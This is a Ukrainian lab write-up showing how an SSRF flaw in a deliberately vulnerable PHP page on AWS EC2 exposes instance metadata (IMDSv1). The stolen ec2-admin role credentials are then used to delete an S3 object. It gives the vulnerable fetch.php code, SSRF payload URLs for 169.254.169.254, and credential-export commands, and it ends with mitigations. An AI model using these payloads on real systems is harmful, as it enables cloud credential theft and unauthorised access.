В AWS незначні пропуски в конфігурації можуть призвести до серйозних прогалин у безпеці. Ця лабораторна робота демонструє, як зловмисники можуть використати на перший погляд нешкідливе налаштування для доступу до конфіденційних даних через зловживання сервісом метаданих інстансу EC2 (IMDS), що зрештою дозволяє отримати вищі привілеї. Це підкреслює важливість належного управління ролями IAM та контролю безпеки інстансів.
Зміст
- Про SSRF та IMDS
- Налаштування лабораторної роботи
- Частина 1: Налаштування середовища IAM
- Створення користувача IAM з обмеженим доступом
- Створення інстансу EC2
- Створення ролі IAM
- Призначення ролі IAM інстансу EC2 та підключення до Amazon Linux
- Встановлення сервера Apache та PHP
- Частина 2: Перерахунок та експлуатація
- Перерахунок профілю за допомогою Python-скрипту
- Перерахунок інстансу EC2
- Експлуатація вразливості SSRF
- Ескалація привілеїв ролі IAM (ec2-admin)
- Аналіз
- Рекомендації
- Висновок
Про SSRF та IMDS
SSRF:
Підробка запиту з боку сервера (Server-Side Request Forgery, SSRF) виникає, коли додаток отримує дані за наданою користувачем URL-адресою без належної перевірки. Зловмисники можуть надати шкідливу URL-адресу, змушуючи сервер робити запити до внутрішніх або зовнішніх ресурсів, що потенційно може призвести до витоку секретів, баз даних або файлів.
IMDS:
Усі основні хмарні провайдери (AWS, Azure, GCP) мають власну реалізацію IMDS — це загальна хмарна концепція. Ідея однакова: інстанс може запитувати метадані та, за наявності відповідної конфігурації, отримувати тимчасові облікові дані. Ризик також схожий: якщо зловмисник може отримати доступ до сервісу метаданих (наприклад, через SSRF), він потенційно може викрасти облікові дані. Всі три великі хмарні провайдери запускають свій сервіс метаданих інстансу (IMDS) на link-local IP 169.254.169.254.
AWS IMDS: AWS IMDS підтримує дві версії: IMDSv1 (токен не потрібен) та IMDSv2 (вимагає токен). AWS рекомендує примусово використовувати лише IMDSv2 із обов’язковим токеном для підвищення безпеки.
Частина 1: Налаштування середовища IAM
У цій лабораторній роботі використовується інстанс Amazon Linux EC2 із прикріпленою роллю адміністратора IAM та користувач IAM Igt_sanjeet з обмеженими правами доступу для симуляції ескалації привілеїв через сервіс метаданих EC2.
Користувач IAM: Igt_sanjeet (з обмеженими дозволами)
Інстанс: Igt_server
Роль IAM: ec2_admin із політикою AdministrativeAccess (призначена інстансу)
Створення користувача IAM з обмеженим доступом
- У лівій навігаційній панелі в розділі Access management виберіть Users (Користувачі). На сторінці користувачів натисніть Create user (Створити користувача).

- Введіть ім’я користувача (Igt_sanjeet).

- У налаштуваннях дозволів виберіть Attach policies directly (Прикріпити політики безпосередньо) для конфігурації прав користувача lgt_sanjeet.

- На сторінці Review and create (Перегляд та створення) перевірте дані користувача та призначені дозволи, після чого натисніть Create user.

- Перейдіть до розділу IAM > Users, потім виберіть користувача lgt_sanjeet зі списку.

- Після вибору користувача lgt_sanjeet перейдіть на вкладку Security credentials (Облікові дані безпеки) та натисніть Create access key (Створити ключ доступу).

- Далі виберіть Command Line Interface (CLI) як сценарій використання (use case).

- Поставте галочку у полі підтвердження та натисніть Next (Далі), щоб продовжити створення ключа доступу.

Тепер завантажте .csv файл, що містить Access Key ID та Secret Access Key. Зберігайте ці облікові дані в безпеці.

Створення інстансу EC2
- У консолі керування AWS перейдіть до розділу EC2 та виберіть Instances (Інстанси). Натисніть Launch instances (Запустити інстанси), потім у розділі Name and tags (Ім’я та теги) введіть lgt_server. У розділі Application and OS Images (Образи додатків та ОС) виберіть Amazon Linux.

- У розділі Instance type (Тип інстансу) виберіть t2.micro (доступно в межах Free tier). У розділі Key pair (login) (Пара ключів) натисніть Create new key pair, щоб згенерувати ключ для підключення до вашого інстансу.

- У вікні створення пари ключів введіть lgt-server у полі Key pair name. Залиште тип ключа RSA, а формат файлу приватного ключа — .pem. Натисніть Create key pair, після чого завантажте та надійно збережіть файл ключа для подальшого SSH-доступу.

- У розділі Network settings (Налаштування мережі) виберіть Create security group (Створити групу безпеки) та позначте Allow SSH traffic from (Дозволити SSH-трафік з), після чого натисніть Edit (Редагувати).

- У правилах групи безпеки (Security group rules) встановіть тип (Type) на All TCP, а тип джерела (Source type) — на Anywhere (0.0.0.0/0).
Дозвіл All TCP з Anywhere (0.0.0.0/0) відкриває кожен порт вашого інстансу для всього інтернету. Це слід використовувати лише в контрольованих лабораторних середовищах для тестування.

- У розділі Advanced details (Додаткові параметри) поля Domain join directory та IAM instance profile слід залишити невибраними, оскільки вони не потрібні для початкового етапу цієї лабораторної роботи.

- У налаштуваннях метаданих (Metadata settings) встановіть Metadata accessible у стан Enabled (Увімкнено). У полі Metadata version (Версія метаданих) виберіть V1 and V2 (token optional). Для параметра Allow tags in metadata виберіть Enable.
Важливо: Увімкнення доступу до метаданих через V1 може призвести до витоку облікових даних інстансу, якщо додаток вразливий до SSRF. У реальних проєктах (Production) використовуйте лише V2 з обов’язковою вимогою токена, щоб мінімізувати ризики.

- Після перевірки конфігурації натисніть Launch instance (Запустити інстанс), щоб створити та запустити ваш EC2 інстанс.

- З’явиться повідомлення про підтвердження: «Successfully initiated launch of instance» разом із ID інстансу.

Створення ролі IAM
- Перейдіть до AWS Management Console > IAM > Roles та натисніть Create role (Створити роль).

- На етапі Select trusted entity (Вибір довіреної сутності) оберіть AWS service як тип довіреної сутності. У розділі Service or use case виберіть EC2, а потім ще раз оберіть EC2 як сценарій використання (use case).

- На етапі Add permissions (Додавання дозволів) знайдіть політику AdministratorAccess, поставте галочку поруч із нею та натисніть Next (Далі).

- На етапі Name, review, and create введіть ec2-admin як назву ролі та додайте опис, як показано на скриншоті. Перевірте всі деталі.

- Ще раз перегляньте всі налаштування та натисніть Create role.

Призначення ролі IAM інстансу EC2 та підключення до Amazon Linux
- На сторінці Instances (Інстанси) переконайтеся, що ваш інстанс lgt_server перебуває у стані Running (Запущено), після чого поставте галочку поруч із ним.

- Вибравши інстанс, перейдіть до меню Actions > Security > Modify IAM role (Дії > Безпека > Змінити роль IAM).

- На сторінці Modify IAM role виберіть ec2-admin зі спадного списку ролей IAM, після чого натисніть Update IAM role (Оновити роль IAM).

- На сторінці Instances виберіть lgt_server і натисніть Connect (Підключитися), щоб відкрити варіанти підключення до вашого інстансу.

- На сторінці Connect to instance переконайтеся, що вибрано варіант Connect using a Public IP (Підключення через публічну IP-адресу). Підтвердьте, що ім’я користувача — ec2-user, і натисніть Connect, щоб відкрити термінал у браузері.

- Після підключення відкриється термінал у браузері з вітальним повідомленням Amazon Linux. Тепер ви увійшли як ec2-user і можете виконувати команди на вашому інстансі EC2.

- Після підключення до інстансу EC2 виконайте наступну команду, щоб переключитися на користувача root:
sudo bash
Потім оновіть системні пакети командою:
yum update -y
Якщо всі пакети актуальні, у виводі ви побачите повідомлення: «Nothing to do. Complete!».

Встановлення сервера Apache та PHP
- Встановіть вебсервер Apache та PHP, після чого запустіть і додайте сервіс Apache в автозавантаження. Це гарантує, що Apache встановлено, він працює та буде автоматично запускатися під час завантаження системи.
yum install -y httpd php
systemctl start httpd
systemctl enable httpd

- Відкрийте стандартний файл вебкореня Apache. Ви можете створити або відредагувати PHP-файл, який буде відображатися як сторінка за замовчуванням для вашого вебсервера.
sudo nano /var/www/html/index.php
![]()
- У файл index.php додайте наступний HTML-код, щоб створити просту вебформу. Ця форма дозволяє користувачеві вводити URL-адресу, яка буде відправлена на обробку файлу fetch.php, що є фронтендом для нашої демонстрації SSRF.
<html>
<body>
<h1>Welcome to SSRF Vulnerable App</h1>
<form action="fetch.php" method="GET">
Enter URL: <input type="text" name="url">
<input type="submit" value="Fetch">
</form>
</body>
</html>

- Відкрийте (або створіть) файл fetch.php у текстовому редакторі Nano в кореневій директорії Apache. Цей файл буде обробляти дані форми з index.php та опрацьовувати URL-адресу, введену користувачем. У цій лабораторній роботі він використовуватиметься для демонстрації логіки вразливості SSRF.
sudo nano /var/www/html/fetch.php
![]()
- Додайте вразливий до SSRF PHP-код у fetch.php, щоб отримувати та відображати вміст із вказаної користувачем URL-адреси.
<?php
if (isset($_GET['url'])) {
$url = $_GET['url'];
$content = file_get_contents($url);
echo $content;
}
?>
- Цей код приймає параметр url із GET-запиту, отримує вміст із цієї адреси та відображає його в браузері.
ПРИМІТКА:
Оскільки значення URL контролюється користувачем і відсутня валідація або фільтрація вхідних даних, це створює вразливість SSRF, яка дозволяє зловмиснику здійснювати довільні запити з боку сервера.

- Встановіть правильні права власності для кореневої директорії Apache та перезапустіть сервіс.
sudo chown -R apache:apache /var/www/html
sudo systemctl restart httpd
- Перша команда змінює власника /var/www/html (та її вмісту) на користувача та групу Apache (apache:apache), забезпечуючи вебсерверу можливість коректно читати та віддавати файли.
- Друга команда перезапускає HTTP-сервер Apache, щоб зміни набули чинності.

- Відкрийте браузер і перейдіть за адресою http://<EC2_PUBLIC_IP>/. Ви повинні побачити сторінку «Welcome to SSRF Vulnerable App» із текстовим полем та кнопкою Fetch. Введіть будь-яку URL-адресу (наприклад, http://example.com) і натисніть Fetch, щоб сервер зробив запит до цієї адреси.
⚠ Тільки для лабораторного використання: ця сторінка навмисно зроблена вразливою і не виконує жодної перевірки URL-адреси, що контролюється користувачем.

Частина 2: Перерахунок та експлуатація
Що означає вразливість SSRF для зловмисників?
У реальних сценаріях зловмисники часто експлуатують SSRF у хмарних додатках для запиту до сервісу метаданих AWS. Таким чином вони можуть отримати тимчасові облікові дані безпеки, пов’язані з ролями IAM. Маючи ці дані, атакуючий може перелічити користувачів, групи та політики IAM, що дозволяє виявити помилки конфігурації або призвести до ескалації привілеїв.
Перерахунок профілю за допомогою Python-скрипту
Запустіть скрипт enumerate-iam.py, використовуючи Access Key ID та Secret Access Key обмеженого користувача IAM lgt_sanjeet.
python enumerate-iam.py --access-key AKI*********** --secret-key q0T*************
Вивід скрипту розкриє ім’я користувача IAM (lgt_sanjeet) та всі прикріплені до нього політики:
- AmazonEC2FullAccess → Повний контроль над інстансами EC2.
- IAMReadOnlyAccess → Доступ лише для читання до користувачів, груп та ролей IAM.
- AmazonS3ReadOnlyAccess → Доступ лише для читання до всіх S3-кошиків.


Перерахунок виявляє профіль інстансу ec2-admin із політикою AdministratorAccess. Це фактично дає нам повний контроль над AWS-аккаунтом, що є сценарієм ескалації привілеїв високого ризику.

Перерахунок інстансів EC2
Тепер, після успішного налаштування AWS CLI з обліковими даними користувача IAM, ми можемо безпосередньо взаємодіяти з середовищем AWS з нашої машини Kali.
aws configure

За допомогою AWS CLI було проведено перерахунок інстансів EC2 у цільовому акаунті. Було підтверджено, що інстанс Igt_web1 термінований (terminated), тоді як Igt_server перебуває у зупиненому стані (stopped).
aws ec2 describe-instances \
--query 'Reservations[].Instances[].[Tags[?Key==`Name`]|[0].Value, State.Name]' \
--output text

Ми перерахували запущені інстанси EC2 та ідентифікували їхні Instance ID, включаючи i-016908b20314c2d70 для сервера Igt_server.
Наступна команда успішно отримала як імена інстансів, так і їхні унікальні ідентифікатори. Цю інформацію можна використовувати для подальших дій, таких як запуск, зупинка або призначення ролей IAM.
aws ec2 describe-instances --query 'Reservations[*].Instances[*].[Tags[?Key==`Name`].Value | [0], InstanceId]' --output text

Використовуючи AWS CLI, я успішно запустив зупинений інстанс EC2 (i-016908b20314c2d70), перевівши його зі стану stopped у стан pending.
aws ec2 start-instances --instance-ids i-016908b20314c2d70

Цей скриншот демонструє успішний перехід інстансу EC2 з ім’ям lgt_server у стан running, що підтверджує належне виконання операції запуску — сервер тепер активний.
aws ec2 describe-instances --query 'Reservations[*].Instances[*].[Tags[?Key==`Name`].Value[0], State.Name]' --output text

Команда розкриває публічну IP-адресу (65.1.93.95) запущеного інстансу EC2, яку можна використовувати для віддаленого доступу або подальшого тестування.
aws ec2 describe-instances --query "Reservations[*].Instances[*].PublicIpAddress" --output text

Експлуатація вразливості SSRF
Цей скриншот демонструє, що розгорнутий інстанс EC2 хостить навмисно вразливий SSRF-додаток, доступний за публічною IP-адресою 65.1.93.95. Це підтверджується відкриттям публічної IP-адреси запущеного інстансу EC2 у веббраузері.

На цьому скриншоті показано експлуатацію вразливості SSRF: вразливий додаток відправляє запит до сервісу метаданих інстансу AWS (http://169.254.169.254/latest) у спробі отримати конфіденційну інформацію, таку як облікові дані IAM. Для цього в поле ENTER URL вводиться ендпоінт AWS IMDS і натискається кнопка Fetch.
http://169.254.169.254/latest/meta-data/

Сервер виконує запит від імені користувача та повертає внутрішні метадані. У цьому випадку відповідь містить різні категорії метаданих, такі як ami-id, hostname, iam, security-groups тощо.

Цей скриншот демонструє, як пейлоад SSRF був використаний далі для перерахунку метаданих інстансу AWS та отримання інформації про роль IAM, що виявило прикріплену роль ec2-admin.
http://65.1.93.95/fetch.php?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F/iam/security-credentials/

Цей скриншот показує фінальну стадію експлуатації SSRF, де вразливий додаток успішно отримує тимчасові облікові дані безпеки AWS IAM (AccessKeyId, SecretAccessKey та SessionToken) для прикріпленої ролі (ec2-admin).
http://65.1.93.95/fetch.php?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-admin

Ескалація привілеїв ролі IAM (ec2-admin)
Спочатку за допомогою AWS CLI було виведено список файлів у кошику S3 igt-bucket, де було знайдено файл secrets.txt. Однак спроба видалити цей файл завершилася помилкою через недостатні права доступу поточного користувача (AccessDenied).
aws s3 ls s3://igt-bucket /
aws s3 rm s3://igt-bucket/secrets.txt

Далі було використано скомпрометовану роль IAM: отримані через SSRF Access Key, Secret Key та Session Token були експортовані як змінні оточення (environment variables) для автентифікації в сервісах AWS під виглядом ролі ec2-admin.
export AWS_ACCESS_KEY_ID=ASIAXPJ***************
export AWS_SECRET_ACCESS_KEY=SvEMItwhRPI+0FZf***************
export AWS_SESSION_TOKEN="IQoJb3JpZ2luX2VjEIX//////////wEaCmFwLXNvdXRoLTIiSDBGAiE***************clvdLsDAKH0rJXFVci0Mb09+U0bKDVe3B4e2Z2PQH"

Після цього спроба видалити файл із кошика S3 завершилася успішно. Це доводить, що роль IAM (ec2-admin) мала достатньо дозволів для видалення об’єктів у S3.
aws s3 rm s3://igt-bucket/secrets.txt
Повторний перегляд вмісту кошика S3 підтвердив, що об’єкт видалено, і файл secrets.txt більше не відображається у списку.
aws s3 ls s3://igt-bucket/
Наостанок, перевірка ідентичності поточної сесії AWS підтвердила, що запити виконуються від імені ролі ec2-admin.
aws sts get-caller-identity

Аналіз
Експлуатуючи вразливість SSRF, зловмисник зміг отримати доступ до сервісу метаданих інстансу (IMDS), викрасти тимчасові облікові дані та прийняти на себе прикріплену роль IAM для EC2. Маючи ці підвищені привілеї, атакуючий отримав можливість перелічувати хмарні ресурси та маніпулювати ними (наприклад, кошиками S3, інстансами EC2), фактично досягнувши ескалації привілеїв. Шлях ескалації виглядав так:
Обмежений користувач IAM → Експлуатація SSRF для доступу до IMDS → Отримання тимчасових облікових даних → Прийняття ролі IAM інстансу EC2 → Перерахунок дозволів → Ідентифікація надлишкових прав (наприклад, AdministratorAccess) → Зловживання привілеями ролі → Повний адміністративний доступ → Компрометація середовища AWS.
Рекомендації
- Валідація та очищення: Завжди перевіряйте та фільтруйте URL-адреси, що надаються користувачами.
- Блокування внутрішніх IP: Обмежуйте запити до внутрішніх діапазонів IP-адрес, таких як 169.254.169.254 (IMDS).
- Моніторинг: Логуйте всі спроби зовнішніх запитів (fetch) та відстежуйте аномальні патерни активності.
- Принцип найменших привілеїв: Застосовуйте обмежені дозволи для ролей IAM, надаючи лише мінімально необхідний доступ.
- Перехід на IMDSv2: Вимагайте використання Instance Metadata Service v2 (IMDSv2) на всіх інстансах EC2. Це додає використання токенів на основі сесій і нівелює ризик викрадення метаданих через SSRF.
- Сегментація доступу: Роль ec2-admin не повинна мати широких прав на читання/запис/видалення в S3. Обмежуйте доступ лише до конкретних кошиків або шляхів.
Висновок
Ця лабораторна робота продемонструвала, як на перший погляд незначний недолік додатка, такий як підробка запиту з боку сервера (SSRF), може перерости у повну компрометацію хмари у поєднанні з надлишковими ролями IAM. Ця вправа підкреслює, що стратегія ешелонованої оборони (Defense in Depth) є критично важливою у хмарних середовищах. Навіть якщо вразливість дозволила б атакувати додаток, ланцюжок атаки був би зупинений або заблокований завдяки належному налаштуванню IMDS, дотриманню принципу найменших привілеїв та суворому контролю моніторингу.